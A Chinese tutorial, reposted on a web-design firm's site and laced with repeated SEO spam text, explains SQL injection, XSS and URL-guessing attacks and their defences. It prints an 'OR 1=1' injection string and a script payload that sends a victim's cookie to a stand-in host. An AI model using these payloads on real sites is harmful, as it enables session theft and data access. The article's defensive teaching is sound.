加入收藏 | 设为首页 | 会员中心 | 我要投稿 | 在线留言 | RSS
成网科技业务包括域名空间企业网站制作
 
国际域名com/net/org仅售80元/年
1G独立空间(PHP+MYSQL)仅售600元/年
您当前的位置:首页 > 技术交流 > 网络安全 > 漏洞分析

历史悠久的3个经典网站安全漏洞介绍

时间:2015-08-29 12:10:59  来源:互联网  作者:佚名  点击:

互联网项目里边,SQL注入漏洞、XSS漏洞和猜测URL攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

SQL注入ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

SQL注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的SQL语句中了。黑客可以利用这一点执行SQL指令来达到自己目的。举例来说,有一个接受参数为id的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

复制代码代码如下:ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

​正常情况下,Request["ID"]为数字,这条SQL能很好地工作。如果我们认为修改Request["ID"],将其内容修改为?ID=1 OR 1=1 我们将得到这样一条SQL:ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

复制代码代码如下:ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
​SELECT * FROM [User] WHERE ID=1 OR 1=1ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

因为有OR的出现这条SQL语句已经可以获取User表中的任意信息。利用SQL注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的ORM框架可以减少不少问题而且能大大提高开发效率。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

如果因为某些原因需要继续写SQL语句,参数化查询也能解决这一问题。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

对于需要拼接SQL语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接SQL前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得将输入里的的单引号进行转义。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

XSS攻击ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

如果说SQL注入是直接在SQL里执行了用户输入,那XSS攻击是在HTML里代码执行了用户输入。相对SQL注入,XSS似乎更能引起人关注。几年前新浪微博被人利用XSS获取大量粉丝;3DM也曾经被植入script代码对另一个游戏网站进行了惨无人道的DDOS攻击。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

这里还是用SQL注入中的例子来说,假设页面输出为:ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

复制代码代码如下:ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
​<div><%= Request["ID"] %></div>ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

这里我们可以在Request["ID"]里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的javascript代码。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设


复制代码代码如下:ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设
ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

这段代码获取到当前页面的cookie值,并将cookie值传递到另一个名为anothersite.com的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

XSS攻击也可以简单分为两种,一种是上述例子中利用url引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

防范XSS攻击需要在所有的字段都对输入的字符串进行html encode(或者在输出时进行encode)。如果需要使用富文本编辑的,可以考虑使用UBB。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

猜测URL攻击ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

猜测URL攻击是通过已知的GET、POST参数来猜测未公开的参数并尝试进行攻击。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

以Request["ID"]为例,如果ID为1是合法的可访问的数据,可以通过尝试ID=2,ID=3等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

要避免这种问题,方案一是使用较长的无规律的数字、字符来做为ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应ID数据的访问、修改权限;如果ID已经是自增类型且不需要登录,可以用过在URL里增加无规律的校验字段来避免。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

其它需要注意的地方ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

安全是一个系统工程。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了URL里的GET参数、POST参数,还包括COOKIE、Header等可以进行修改的各类信息。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

最后,在测试或系统运行的过程中,可以使用类似appscan这样的安全检测工具来检查程序是否有漏洞。ksM成网科技_开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设

成网科技 www.it28.com竭诚为您服务!
开平网站建设_开平网站制作_开平企业网站_开平网页设计_江门网站建设_成网科技

更多
 


来顶一下
返回首页
返回首页
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表
推荐资讯
相关文章
    无相关信息
栏目更新
栏目热门